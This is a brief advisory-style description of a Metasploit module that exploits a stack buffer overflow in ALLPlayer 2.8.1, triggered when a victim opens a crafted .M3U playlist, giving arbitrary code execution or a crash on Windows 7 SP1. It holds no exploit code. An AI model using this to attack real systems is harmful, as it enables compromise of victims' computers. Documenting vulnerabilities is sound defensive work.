Description

This Metasploit module exploits a stack-based buffer overflow vulnerability in ALLPlayer 2.8.1, caused by a long string in a playlist entry. By persuading the victim to open a specially-crafted .M3U file, a remote attacker could execute arbitrary code on the system or cause the application to crash. This Metasploit module has been tested successfully on Windows 7 SP1.
